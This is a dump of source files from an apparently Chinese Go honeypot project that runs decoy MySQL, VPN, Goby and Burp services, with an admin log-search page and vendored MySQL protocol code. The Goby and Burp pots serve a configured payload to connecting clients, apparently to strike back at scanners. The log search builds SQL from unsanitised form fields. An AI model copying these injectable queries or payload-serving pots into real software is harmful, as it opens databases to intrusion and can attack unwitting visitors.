60 | querystring := fmt.Sprintf("SELECT p.state,pc.port FROM pot as p, pot_config AS pc WHERE p.configid = %d and p.configid = pc.configid", configid)
61 | rows, err := db.Query(querystring)
62 | checkErr(err)
63 | for rows.Next() {
64 | var (
65 | state1 int
66 | port int
67 | )
68 | _ = rows.Scan(&state1, &port)
69 | if port > 0 && state == state1 {
70 | code = 0
71 | }
72 |
73 | }
74 | return code
75 | }
76 |
77 | //改变蜜罐状态,四个状态:0:启动成功;1:启动失败;2:关闭成功;3:关闭失败
78 | func changeState(configid, state int) (code int) {
79 | db, err := sql.Open("sqlite3", tools.DbPath)
80 | checkErr(err)
81 | defer db.Close()
82 |
83 | if state == 0 {
84 | state = 1
85 | } else {
86 | state = 0
87 | }
88 |
89 | sqlStr := "UPDATE pot SET state = ? WHERE configid = ?"
90 | stmt, err := db.Prepare(sqlStr)
91 | checkErr(err)
92 |
93 | _, err = stmt.Exec(state, configid)
94 | if err != nil {
95 | checkErr(err)
96 | } else {
97 | return 0
98 | }
99 |
100 | return 1
101 | }
102 |
103 | //实际蜜罐状态改变;0:成功;1:失败
104 | func changePot(configid, state int) (code int) {
105 | potconfig := ConfigRead(configid)
106 | port := strconv.Itoa(potconfig.Port)
107 |
108 | ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
109 | defer cancel()
110 |
111 | //mysql蜜罐
112 | if configid == 1004 {
113 | //启动操作
114 | if state == 0 {
115 | go mysql.Mysql(mysql.PotConfigs(potconfig))
116 | }
117 | if state == 1 {
118 | mysql.Shutdown()
119 | }
120 | }
121 |
122 | //goby蜜罐
123 | if configid == 1003 {
124 | if state == 0 {
125 | payload := strings.Replace(potconfig.Payload, "'", "\\'", -1)
126 | api := tools.GobyApi1 + payload + tools.GobyApi2
127 |
128 | tools.WriteFile(tools.GobyFile, api)
129 | _, err := tools.PathExists(tools.GobyFile)
130 | if err != nil {
131 | return 1
132 | }
133 |
134 | goby.SetInfo(potconfig.Ip, port)
135 |
136 | GobyPot = &http.Server{
137 | Addr: ":" + port,
138 | Handler: goby.Goby(),
139 | ReadTimeout: 2 * time.Second,
140 | WriteTimeout: 5 * time.Second,
141 | }
142 | GobyPot.SetKeepAlivesEnabled(false)
143 |
144 | G.Go(func() error {
145 | return GobyPot.ListenAndServe()
146 | })
147 | }
148 | if state == 1 {
149 | if err := GobyPot.Shutdown(ctx); err != nil {
150 | fmt.Println("goby Shutdown:", err)
151 | return 1
152 | }
153 | }
154 | }
155 |
156 | //vpn蜜罐
157 | if configid == 1002 {
158 | if state == 0 {
159 | _, err := tools.PathExists(tools.VpnFile)
160 | if err != nil {
161 | return 1
162 | }
163 |
164 | VpnPot = &http.Server{
165 | Addr: ":" + port,
166 | Handler: vpn.VPN(),
167 | ReadTimeout: 2 * time.Second,
168 | WriteTimeout: 5 * time.Second,
169 | }
170 | VpnPot.SetKeepAlivesEnabled(false)
171 |
172 | G.Go(func() error {
173 | return VpnPot.ListenAndServe()
174 | })
175 | }
176 | if state == 1 {
177 | if err := VpnPot.Shutdown(ctx); err != nil {
178 | fmt.Println("vpn Shutdown:", err)
179 | return 1
180 | }
181 | }
182 | }
183 |
184 | //burp蜜罐
185 | if configid == 1001 {
186 | if state == 0 {
187 | api := tools.BurpApi1 + potconfig.Payload + tools.BurpApi2
188 |
189 | tools.WriteFile(tools.BurpFile, api)
190 |
191 | _, err := tools.PathExists(tools.BurpFile)
192 |
193 | if err != nil {
194 | return 1
195 | }
196 |
197 | BurpPot = &http.Server{
198 | Addr: ":" + port,
199 | Handler: burpsuite.BurpSuite(),
200 | ReadTimeout: 2 * time.Second,
201 | WriteTimeout: 5 * time.Second,
202 | }
203 | BurpPot.SetKeepAlivesEnabled(false)
204 |
205 | G.Go(func() error {
206 | return BurpPot.ListenAndServe()
207 | })
208 | }
209 | if state == 1 {
210 | if err := BurpPot.Shutdown(ctx); err != nil {
211 | fmt.Println("burp Shutdown:", err)
212 | return 1
213 | }
214 | }
215 | }
216 |
217 | return 0
218 | }
219 |
220 |
221 |
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/js/fileinput-zh.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * FileInput Chinese Translations
3 | *
4 | * This file must be loaded after 'fileinput.js'. Patterns in braces '{}', or
5 | * any HTML markup tags in the messages must not be converted or translated.
6 | *
7 | * @see http://github.com/kartik-v/bootstrap-fileinput
8 | * @author kangqf
9 | *
10 | * NOTE: this file must be saved in UTF-8 encoding.
11 | */
12 | (function (factory) {
13 | 'use strict';
14 | if (typeof define === 'function' && define.amd) {
15 | define(['jquery'], factory);
16 | } else if (typeof module === 'object' && typeof module.exports === 'object') {
17 | factory(require('jquery'));
18 | } else {
19 | factory(window.jQuery);
20 | }
21 | }(function ($) {
22 | "use strict";
23 |
24 | $.fn.fileinputLocales['zh'] = {
25 | sizeUnits: ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'],
26 | bitRateUnits: ['B/s', 'KB/s', 'MB/s', 'GB/s', 'TB/s', 'PB/s', 'EB/s', 'ZB/s', 'YB/s'],
27 | fileSingle: '文件',
28 | filePlural: '个文件',
29 | browseLabel: '选择 …',
30 | removeLabel: '移除',
31 | removeTitle: '清除选中文件',
32 | cancelLabel: '取消',
33 | cancelTitle: '取消进行中的上传',
34 | pauseLabel: '暂停',
35 | pauseTitle: '暂停上传',
36 | uploadLabel: '上传',
37 | uploadTitle: '上传选中文件',
38 | msgNo: '没有',
39 | msgNoFilesSelected: '未选择文件',
40 | msgPaused: '已暂停',
41 | msgCancelled: '取消',
42 | msgPlaceholder: '选择 {files} ...',
43 | msgZoomModalHeading: '详细预览',
44 | msgFileRequired: '必须选择一个文件上传.',
45 | msgSizeTooSmall: '文件 "{name}" ({size} KB) 必须大于限定大小 {minSize} KB.',
46 | msgSizeTooLarge: '文件 "{name}" ({size} KB) 超过了允许大小 {maxSize} KB.',
47 | msgFilesTooLess: '你必须选择最少 {n} {files} 来上传. ',
48 | msgFilesTooMany: '选择的上传文件个数 ({n}) 超出最大文件的限制个数 {m}.',
49 | msgTotalFilesTooMany: '你最多可以上传 {m} 个文件 (当前有{n} 个文件).',
50 | msgFileNotFound: '文件 "{name}" 未找到!',
51 | msgFileSecured: '安全限制,为了防止读取文件 "{name}".',
52 | msgFileNotReadable: '文件 "{name}" 不可读.',
53 | msgFilePreviewAborted: '取消 "{name}" 的预览.',
54 | msgFilePreviewError: '读取 "{name}" 时出现了一个错误.',
55 | msgInvalidFileName: '文件名 "{name}" 包含非法字符.',
56 | msgInvalidFileType: '不正确的类型 "{name}". 只支持 "{types}" 类型的文件.',
57 | msgInvalidFileExtension: '不正确的文件扩展名 "{name}". 只支持 "{extensions}" 的文件扩展名.',
58 | msgFileTypes: {
59 | 'image': 'image',
60 | 'html': 'HTML',
61 | 'text': 'text',
62 | 'video': 'video',
63 | 'audio': 'audio',
64 | 'flash': 'flash',
65 | 'pdf': 'PDF',
66 | 'object': 'object'
67 | },
68 | msgUploadAborted: '该文件上传被中止',
69 | msgUploadThreshold: '处理中 …',
70 | msgUploadBegin: '正在初始化 …',
71 | msgUploadEnd: '完成',
72 | msgUploadResume: '继续上传 …',
73 | msgUploadEmpty: '无效的文件上传.',
74 | msgUploadError: '上传出错',
75 | msgDeleteError: '删除出错',
76 | msgProgressError: '上传出错',
77 | msgValidationError: '验证错误',
78 | msgLoading: '加载第 {index} 文件 共 {files} …',
79 | msgProgress: '加载第 {index} 文件 共 {files} - {name} - {percent}% 完成.',
80 | msgSelected: '{n} {files} 选中',
81 | msgProcessing: '处理中 ...',
82 | msgFoldersNotAllowed: '只支持拖拽文件! 跳过 {n} 拖拽的文件夹.',
83 | msgImageWidthSmall: '图像文件的"{name}"的宽度必须是至少{size}像素.',
84 | msgImageHeightSmall: '图像文件的"{name}"的高度必须至少为{size}像素.',
85 | msgImageWidthLarge: '图像文件"{name}"的宽度不能超过{size}像素.',
86 | msgImageHeightLarge: '图像文件"{name}"的高度不能超过{size}像素.',
87 | msgImageResizeError: '无法获取的图像尺寸调整。',
88 | msgImageResizeException: '调整图像大小时发生错误。{errors}',
89 | msgAjaxError: '{operation} 发生错误. 请重试!',
90 | msgAjaxProgressError: '{operation} 失败',
91 | msgDuplicateFile: '文件 "{name}",大小 "{size} KB" 已经被选中.忽略相同的文件.',
92 | msgResumableUploadRetriesExceeded: '文件 {file} 上传失败超过 {max} 次重试 ! 错误详情: {error}',
93 | msgPendingTime: '{time} 剩余',
94 | msgCalculatingTime: '计算剩余时间',
95 | ajaxOperations: {
96 | deleteThumb: '删除文件',
97 | uploadThumb: '上传文件',
98 | uploadBatch: '批量上传',
99 | uploadExtra: '表单数据上传'
100 | },
101 | dropZoneTitle: '拖拽文件到这里 …
支持多文件同时上传',
102 | dropZoneClickTitle: '
(或点击{files}按钮选择文件)',
103 | fileActionSettings: {
104 | removeTitle: '删除文件',
105 | uploadTitle: '上传文件',
106 | downloadTitle: '下载文件',
107 | uploadRetryTitle: '重试',
108 | zoomTitle: '查看详情',
109 | dragTitle: '移动 / 重置',
110 | indicatorNewTitle: '没有上传',
111 | indicatorSuccessTitle: '上传',
112 | indicatorErrorTitle: '上传错误',
113 | indicatorPausedTitle: '上传已暂停',
114 | indicatorLoadingTitle: '上传 …'
115 | },
116 | previewZoomButtonTitles: {
117 | prev: '预览上一个文件',
118 | next: '预览下一个文件',
119 | toggleheader: '缩放',
120 | fullscreen: '全屏',
121 | borderless: '无边界模式',
122 | close: '关闭当前预览'
123 | }
124 | };
125 | }));
126 |
--------------------------------------------------------------------------------
/honeyPot/admin/logsearch.go:
--------------------------------------------------------------------------------
1 | package admin
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | "github.com/gin-gonic/gin"
7 | "honeypot/admin/tools"
8 | "net/http"
9 | )
10 |
11 | func LogSearch(c *gin.Context){
12 | islogin := tools.GetSession(c)
13 | starttime := c.PostForm("startDate")
14 | endtime := c.PostForm("endDate")
15 | ip := c.PostForm("ip")
16 | method := c.PostForm("reqmethod")
17 | tablename := c.PostForm("tablename")
18 | if tablename == ""{
19 | tablename = "log"
20 | }
21 | if tools.In(tablename, tools.Config("httplog")){
22 | res, err := HttpLogSearchQuery(tablename,starttime,endtime,ip,method)
23 | if islogin{
24 | if err !=nil || len(res)==0{
25 | res = append(res, HttpLogData{"","","","","",""})
26 | }
27 | if len(res)!=0{
28 | if c.Request.Method == "POST"{
29 | c.JSON(http.StatusOK,gin.H{
30 | "res" : res,
31 | })
32 | }
33 | }
34 | }
35 | }
36 | if tools.In(tablename, tools.Config("nohttplog")){
37 | res, err := NoHttpLogSearchQuery(tablename,starttime,endtime)
38 | if islogin{
39 | if err !=nil || len(res)==0{
40 | res = append(res, NohttpLogData{"",""})
41 | }
42 | if len(res)!=0{
43 | if c.Request.Method == "POST"{
44 | c.JSON(http.StatusOK,gin.H{
45 | "res" : res,
46 | })
47 | }
48 | }
49 | }
50 | }
51 | }
52 |
53 | func HttpLogSearchQuery(tablename string,starttime string ,endtime string ,ip string, method string) (data []HttpLogData, e error){
54 | tools.SafeDate(starttime)
55 | tools.SafeDate(endtime)
56 | tools.SafeDate(ip)
57 | tools.SafeDate(method)
58 | db, err := sql.Open("sqlite3", tools.DbPath)
59 | checkErr(err)
60 | // 查询数据
61 | var querystring string
62 | var result = make([]HttpLogData, 0)
63 | if starttime == "" && endtime =="" && ip == "" && method == ""{
64 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s ORDER BY id DESC",tablename)
65 | }
66 | if starttime == "" && endtime =="" && ip != "" && method == ""{
67 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE clientIP='%s' ORDER BY id DESC",tablename,ip)
68 | }
69 | if starttime == "" && endtime =="" && ip == "" && method != ""{
70 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE reqMethod='%s' ORDER BY id DESC",tablename,method)
71 | }
72 | if starttime == "" && endtime =="" && ip != "" && method != ""{
73 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE clientIP='%s' and reqMethod='%s' ORDER BY id DESC",tablename,ip,method)
74 | }
75 | if starttime != "" && endtime !="" && ip == "" && method == ""{
76 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' ORDER BY id DESC",tablename,starttime,endtime)
77 | }
78 | if starttime != "" && endtime !="" && ip != "" && method != ""{
79 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' AND clientIP='%s' and reqMethod='%s' ORDER BY id DESC",tablename,starttime,endtime,ip,method)
80 | }
81 | if starttime != "" && endtime !="" && ip == "" && method != ""{
82 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' AND reqMethod='%s' ORDER BY id DESC",tablename,starttime,endtime,method)
83 | }
84 | if starttime != "" && endtime !="" && ip != "" && method == ""{
85 | querystring = fmt.Sprintf("SELECT time,clientIp,statusCode,reqMethod,reqUri,full_message FROM %s WHERE time >='%s' AND Time <='%s' AND clientIP='%s' ORDER BY id DESC",tablename,starttime,endtime,ip)
86 | }
87 | rows, err := db.Query(querystring)
88 | if err != nil{
89 | fmt.Printf("数据库查询数据失败:%s\n", err)
90 | }else {
91 | for rows.Next() {
92 | var (
93 | time,clientIp string
94 | statusCode string
95 | reqMethod,reqUri,full_message string
96 | )
97 | err = rows.Scan(&time, &clientIp, &statusCode ,&reqMethod, &reqUri, &full_message)
98 | if err ==nil{
99 | result = append(result, HttpLogData{time,clientIp,statusCode,reqMethod,reqUri,full_message})
100 | }else {
101 | result = append(result, HttpLogData{"","","","","",""})
102 | }
103 | }
104 | db.Close()
105 | }
106 |
107 | return result, nil
108 | }
109 |
110 | func NoHttpLogSearchQuery(tablename string,starttime string ,endtime string ) (data []NohttpLogData, e error){
111 | tools.SafeDate(tablename)
112 | tools.SafeDate(starttime)
113 | tools.SafeDate(endtime)
114 | db, err := sql.Open("sqlite3", tools.DbPath)
115 | checkErr(err)
116 | // 查询数据
117 | var querystring string
118 | var result = make([]NohttpLogData, 0)
119 | if starttime == "" && endtime ==""{
120 | querystring = fmt.Sprintf("SELECT time,msg FROM %s ORDER BY id DESC",tablename)
121 | }
122 | if starttime != "" && endtime !=""{
123 | querystring = fmt.Sprintf("SELECT time,msg FROM %s WHERE time >='%s' AND Time <='%s' ORDER BY id DESC",tablename,starttime,endtime)
124 | }
125 | rows, err := db.Query(querystring)
126 | if err != nil{
127 | fmt.Printf("数据库查询数据失败:%s\n", err)
128 | }else {
129 | for rows.Next() {
130 | var (
131 | time,full_message string
132 | )
133 | err = rows.Scan(&time, &full_message)
134 | if err ==nil{
135 | result = append(result, NohttpLogData{time,full_message})
136 | }else {
137 | result = append(result, NohttpLogData{"",""})
138 | }
139 | }
140 | db.Close()
141 | }
142 |
143 | return result, nil
144 | }
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/sql_error.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "bytes"
21 | "fmt"
22 | "regexp"
23 | "strconv"
24 |
25 | "vitess.io/vitess/go/vt/sqlparser"
26 | "vitess.io/vitess/go/vt/vterrors"
27 |
28 | vtrpcpb "vitess.io/vitess/go/vt/proto/vtrpc"
29 | )
30 |
31 | // SQLError is the error structure returned from calling a db library function
32 | type SQLError struct {
33 | Num int
34 | State string
35 | Message string
36 | Query string
37 | }
38 |
39 | // NewSQLError creates a new SQLError.
40 | // If sqlState is left empty, it will default to "HY000" (general error).
41 | // TODO: Should be aligned with vterrors, stack traces and wrapping
42 | func NewSQLError(number int, sqlState string, format string, args ...interface{}) *SQLError {
43 | if sqlState == "" {
44 | sqlState = SSUnknownSQLState
45 | }
46 | return &SQLError{
47 | Num: number,
48 | State: sqlState,
49 | Message: fmt.Sprintf(format, args...),
50 | }
51 | }
52 |
53 | // Error implements the error interface
54 | func (se *SQLError) Error() string {
55 | buf := &bytes.Buffer{}
56 | buf.WriteString(se.Message)
57 |
58 | // Add MySQL errno and SQLSTATE in a format that we can later parse.
59 | // There's no avoiding string parsing because all errors
60 | // are converted to strings anyway at RPC boundaries.
61 | // See NewSQLErrorFromError.
62 | fmt.Fprintf(buf, " (errno %v) (sqlstate %v)", se.Num, se.State)
63 |
64 | if se.Query != "" {
65 | fmt.Fprintf(buf, " during query: %s", sqlparser.TruncateForLog(se.Query))
66 | }
67 |
68 | return buf.String()
69 | }
70 |
71 | // Number returns the internal MySQL error code.
72 | func (se *SQLError) Number() int {
73 | return se.Num
74 | }
75 |
76 | // SQLState returns the SQLSTATE value.
77 | func (se *SQLError) SQLState() string {
78 | return se.State
79 | }
80 |
81 | var errExtract = regexp.MustCompile(`.*\(errno ([0-9]*)\) \(sqlstate ([0-9a-zA-Z]{5})\).*`)
82 |
83 | // NewSQLErrorFromError returns a *SQLError from the provided error.
84 | // If it's not the right type, it still tries to get it from a regexp.
85 | func NewSQLErrorFromError(err error) error {
86 | if err == nil {
87 | return nil
88 | }
89 |
90 | if serr, ok := err.(*SQLError); ok {
91 | return serr
92 | }
93 |
94 | msg := err.Error()
95 | match := errExtract.FindStringSubmatch(msg)
96 | if len(match) < 2 {
97 | // Map vitess error codes into the mysql equivalent
98 | code := vterrors.Code(err)
99 | num := ERUnknownError
100 | switch code {
101 | case vtrpcpb.Code_CANCELED:
102 | num = ERQueryInterrupted
103 | case vtrpcpb.Code_UNKNOWN:
104 | num = ERUnknownError
105 | case vtrpcpb.Code_INVALID_ARGUMENT:
106 | // TODO/demmer there are several more appropriate mysql error
107 | // codes for the various invalid argument cases.
108 | // it would be better to change the call sites to use
109 | // the mysql style "(errno X) (sqlstate Y)" format rather than
110 | // trying to add vitess error codes for all these cases
111 | num = ERUnknownError
112 | case vtrpcpb.Code_DEADLINE_EXCEEDED:
113 | num = ERQueryInterrupted
114 | case vtrpcpb.Code_NOT_FOUND:
115 | num = ERUnknownError
116 | case vtrpcpb.Code_ALREADY_EXISTS:
117 | num = ERUnknownError
118 | case vtrpcpb.Code_PERMISSION_DENIED:
119 | num = ERAccessDeniedError
120 | case vtrpcpb.Code_UNAUTHENTICATED:
121 | num = ERAccessDeniedError
122 | case vtrpcpb.Code_RESOURCE_EXHAUSTED:
123 | num = ERTooManyUserConnections
124 | case vtrpcpb.Code_FAILED_PRECONDITION:
125 | num = ERUnknownError
126 | case vtrpcpb.Code_ABORTED:
127 | num = ERQueryInterrupted
128 | case vtrpcpb.Code_OUT_OF_RANGE:
129 | num = ERUnknownError
130 | case vtrpcpb.Code_UNIMPLEMENTED:
131 | num = ERNotSupportedYet
132 | case vtrpcpb.Code_INTERNAL:
133 | num = ERUnknownError
134 | case vtrpcpb.Code_UNAVAILABLE:
135 | num = ERUnknownError
136 | case vtrpcpb.Code_DATA_LOSS:
137 | num = ERUnknownError
138 | }
139 |
140 | // Not found, build a generic SQLError.
141 | return &SQLError{
142 | Num: num,
143 | State: SSUnknownSQLState,
144 | Message: msg,
145 | }
146 | }
147 |
148 | num, err := strconv.Atoi(match[1])
149 | if err != nil {
150 | return &SQLError{
151 | Num: ERUnknownError,
152 | State: SSUnknownSQLState,
153 | Message: msg,
154 | }
155 | }
156 |
157 | serr := &SQLError{
158 | Num: num,
159 | State: match[2],
160 | Message: msg,
161 | }
162 | return serr
163 | }
164 |
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/js/common.js:
--------------------------------------------------------------------------------
1 | //日期组件
2 | $(function () {
3 | $(".daterangepicker").datetimepicker({
4 | fontAwesome: 'font-awesome', //解决图标缺失问题,直接用font-awesome代替
5 | forceParse: 0, //设置为0,时间不会跳转1899,会显示当前时间。
6 | language: 'zh-CN', //显示中文
7 | format: 'yyyy-mm-dd hh:ii:ss', //日期格式化
8 | weekStart: 1, //每周的第一天是
9 | initialDate: new Date(), //初始化当前日期
10 | endDate: new Date(), //结束日期,后面的不可选
11 | });
12 |
13 | //设置endDate的最小值,不能小于startDate
14 | $("#startDate").datetimepicker().on('changeDate', function (e) {
15 | $('#endDate').datetimepicker('setStartDate', e.date);
16 | })
17 |
18 | //设置startDate的最大值,不能大于endDate
19 | $("#endDate").datetimepicker().on('changeDate', function (e) {
20 | $('#startDate').datetimepicker('setEndDate', e.date);
21 | })
22 |
23 | // 加载分页组件
24 | setpage()
25 |
26 | //获取url参数
27 | function GetQueryString(name)
28 | {
29 | var reg = new RegExp("(^[a-z]{5}/)"+ name +"/([^&]*)(&|$)");
30 | var r = window.location.pathname.substr(1).match(reg);
31 | if(r!=null)return unescape(r[2]); return null;
32 | }
33 |
34 | //条件查询
35 | $("#btn1").click(function () {
36 | let tablename = GetQueryString("log")
37 | let startDate = $("#startDate").val()
38 | let endDate = $("#endDate").val()
39 | let ip = $("#ip").val()
40 | let reqmethod = $("#m option:selected").val()
41 | if (startDate !== "" && endDate === "") {
42 | alert("结束日期不能为空")
43 | }
44 | if (endDate !== "" && startDate === "") {
45 | alert("开始日期不能为空")
46 | }
47 | setpage()
48 | $.ajax({
49 | type: 'post',
50 | url: 'logsearch',
51 | data: {
52 | tablename: tablename,
53 | startDate: startDate,
54 | endDate: endDate,
55 | ip: ip,
56 | reqmethod: reqmethod
57 | },
58 | dataType: 'json',
59 | success: function (data) {
60 | $.each(data.res, function (index, obj) {
61 |
62 | $("#tr-" + index).show()
63 |
64 | $("#time-" + index).text(obj.Time)
65 | $("#ip-" + index).text(obj.ClientIP)
66 | $("#code-" + index).text(obj.StatusCode)
67 | $("#method-" + index).text(obj.ReqMethod)
68 | $("#uri-" + index).text(obj.ReqUri)
69 | $("#message-" + index).text(obj.Full_message)
70 |
71 | if (index === data.res.length - 1) {
72 | for (let i = index + 1; i < 10; i++) {
73 | $("#tr-" + i).hide()
74 | }
75 | }
76 | })
77 | }
78 | })
79 |
80 | })
81 |
82 | //获取分页数量
83 | function getnum() {
84 | let tablename = GetQueryString("log")
85 | let startDate = $("#startDate").val()
86 | let endDate = $("#endDate").val()
87 | let ip = $("#ip").val()
88 | let reqmethod = $("#m option:selected").val()
89 | let num = 0;
90 | $.ajax({
91 | type: 'post',
92 | url: 'logcount',
93 | data: {
94 | tablename: tablename,
95 | startDate: startDate,
96 | endDate: endDate,
97 | ip: ip,
98 | reqmethod: reqmethod
99 | },
100 | dataType: "json",
101 | async: false,
102 | success: function (data) {
103 | num = data.datanum
104 | }
105 | })
106 | return num
107 | }
108 |
109 | // 分页函数
110 | function setpage() {
111 | $(".myPagination").Pagination({
112 | page: 1,
113 | count: getnum(),
114 | groups: 5,
115 | onPageChange: function (page) {
116 | let startDate = $("#startDate").val()
117 | let endDate = $("#endDate").val()
118 | let ip = $("#ip").val()
119 | let reqmethod = $("#m option:selected").val()
120 | $.ajax({
121 | type: 'post',
122 | url: 'log',
123 | data: {
124 | page: page,
125 | startDate: startDate,
126 | endDate: endDate,
127 | ip: ip,
128 | reqmethod: reqmethod
129 | },
130 | dataType: "json",
131 | success: function (data) {
132 | $.each(data.res, function (index, obj) {
133 |
134 | $("#tr-" + index).show()
135 |
136 | // console.log(obj.ReqUri)
137 | $("#time-" + index).text(obj.Time)
138 | $("#ip-" + index).text(obj.ClientIP)
139 | $("#code-" + index).text(obj.StatusCode)
140 | $("#method-" + index).text(obj.ReqMethod)
141 | $("#uri-" + index).text(obj.ReqUri)
142 | $("#message-" + index).text(obj.Full_message)
143 | if (index === data.res.length - 1) {
144 | for (let i = index + 1; i < 10; i++) {
145 | $("#tr-" + i).hide()
146 | }
147 | }
148 | })
149 | }
150 | })
151 | }
152 | });
153 | }
154 |
155 | })
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/flavor_mysql.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "fmt"
21 | "io"
22 | "time"
23 |
24 | "golang.org/x/net/context"
25 | "vitess.io/vitess/go/vt/proto/vtrpc"
26 | "vitess.io/vitess/go/vt/vterrors"
27 | )
28 |
29 | // mysqlFlavor implements the Flavor interface for Mysql.
30 | type mysqlFlavor struct{}
31 |
32 | // masterGTIDSet is part of the Flavor interface.
33 | func (mysqlFlavor) masterGTIDSet(c *Conn) (GTIDSet, error) {
34 | qr, err := c.ExecuteFetch("SELECT @@GLOBAL.gtid_executed", 1, false)
35 | if err != nil {
36 | return nil, err
37 | }
38 | if len(qr.Rows) != 1 || len(qr.Rows[0]) != 1 {
39 | return nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "unexpected result format for gtid_executed: %#v", qr)
40 | }
41 | return parseMysql56GTIDSet(qr.Rows[0][0].ToString())
42 | }
43 |
44 | func (mysqlFlavor) startSlaveCommand() string {
45 | return "START SLAVE"
46 | }
47 |
48 | func (mysqlFlavor) startSlaveUntilAfter(pos Position) string {
49 | return fmt.Sprintf("START SLAVE UNTIL SQL_AFTER_GTIDS = '%s'", pos)
50 | }
51 |
52 | func (mysqlFlavor) stopSlaveCommand() string {
53 | return "STOP SLAVE"
54 | }
55 |
56 | // sendBinlogDumpCommand is part of the Flavor interface.
57 | func (mysqlFlavor) sendBinlogDumpCommand(c *Conn, slaveID uint32, startPos Position) error {
58 | gtidSet, ok := startPos.GTIDSet.(Mysql56GTIDSet)
59 | if !ok {
60 | return vterrors.Errorf(vtrpc.Code_INTERNAL, "startPos.GTIDSet is wrong type - expected Mysql56GTIDSet, got: %#v", startPos.GTIDSet)
61 | }
62 |
63 | // Build the command.
64 | sidBlock := gtidSet.SIDBlock()
65 | return c.WriteComBinlogDumpGTID(slaveID, "", 4, 0, sidBlock)
66 | }
67 |
68 | // resetReplicationCommands is part of the Flavor interface.
69 | func (mysqlFlavor) resetReplicationCommands() []string {
70 | return []string{
71 | "STOP SLAVE",
72 | "RESET SLAVE ALL", // "ALL" makes it forget master host:port.
73 | "RESET MASTER", // This will also clear gtid_executed and gtid_purged.
74 | "SET GLOBAL rpl_semi_sync_master_enabled = false, GLOBAL rpl_semi_sync_slave_enabled = false", // semi-sync will be enabled if needed when slave is started.
75 | }
76 | }
77 |
78 | // setSlavePositionCommands is part of the Flavor interface.
79 | func (mysqlFlavor) setSlavePositionCommands(pos Position) []string {
80 | return []string{
81 | "RESET MASTER", // We must clear gtid_executed before setting gtid_purged.
82 | fmt.Sprintf("SET GLOBAL gtid_purged = '%s'", pos),
83 | }
84 | }
85 |
86 | // setSlavePositionCommands is part of the Flavor interface.
87 | func (mysqlFlavor) changeMasterArg() string {
88 | return "MASTER_AUTO_POSITION = 1"
89 | }
90 |
91 | // status is part of the Flavor interface.
92 | func (mysqlFlavor) status(c *Conn) (SlaveStatus, error) {
93 | qr, err := c.ExecuteFetch("SHOW SLAVE STATUS", 100, true /* wantfields */)
94 | if err != nil {
95 | return SlaveStatus{}, err
96 | }
97 | if len(qr.Rows) == 0 {
98 | // The query returned no data, meaning the server
99 | // is not configured as a slave.
100 | return SlaveStatus{}, ErrNotSlave
101 | }
102 |
103 | resultMap, err := resultToMap(qr)
104 | if err != nil {
105 | return SlaveStatus{}, err
106 | }
107 |
108 | status := parseSlaveStatus(resultMap)
109 | status.Position.GTIDSet, err = parseMysql56GTIDSet(resultMap["Executed_Gtid_Set"])
110 | if err != nil {
111 | return SlaveStatus{}, vterrors.Wrapf(err, "SlaveStatus can't parse MySQL 5.6 GTID (Executed_Gtid_Set: %#v)", resultMap["Executed_Gtid_Set"])
112 | }
113 | return status, nil
114 | }
115 |
116 | // waitUntilPositionCommand is part of the Flavor interface.
117 | func (mysqlFlavor) waitUntilPositionCommand(ctx context.Context, pos Position) (string, error) {
118 | // A timeout of 0 means wait indefinitely.
119 | timeoutSeconds := 0
120 | if deadline, ok := ctx.Deadline(); ok {
121 | timeout := time.Until(deadline)
122 | if timeout <= 0 {
123 | return "", vterrors.Errorf(vtrpc.Code_DEADLINE_EXCEEDED, "timed out waiting for position %v", pos)
124 | }
125 |
126 | // Only whole numbers of seconds are supported.
127 | timeoutSeconds = int(timeout.Seconds())
128 | if timeoutSeconds == 0 {
129 | // We don't want a timeout <1.0s to truncate down to become infinite.
130 | timeoutSeconds = 1
131 | }
132 | }
133 |
134 | return fmt.Sprintf("SELECT WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS('%s', %v)", pos, timeoutSeconds), nil
135 | }
136 |
137 | // readBinlogEvent is part of the Flavor interface.
138 | func (mysqlFlavor) readBinlogEvent(c *Conn) (BinlogEvent, error) {
139 | result, err := c.ReadPacket()
140 | if err != nil {
141 | return nil, err
142 | }
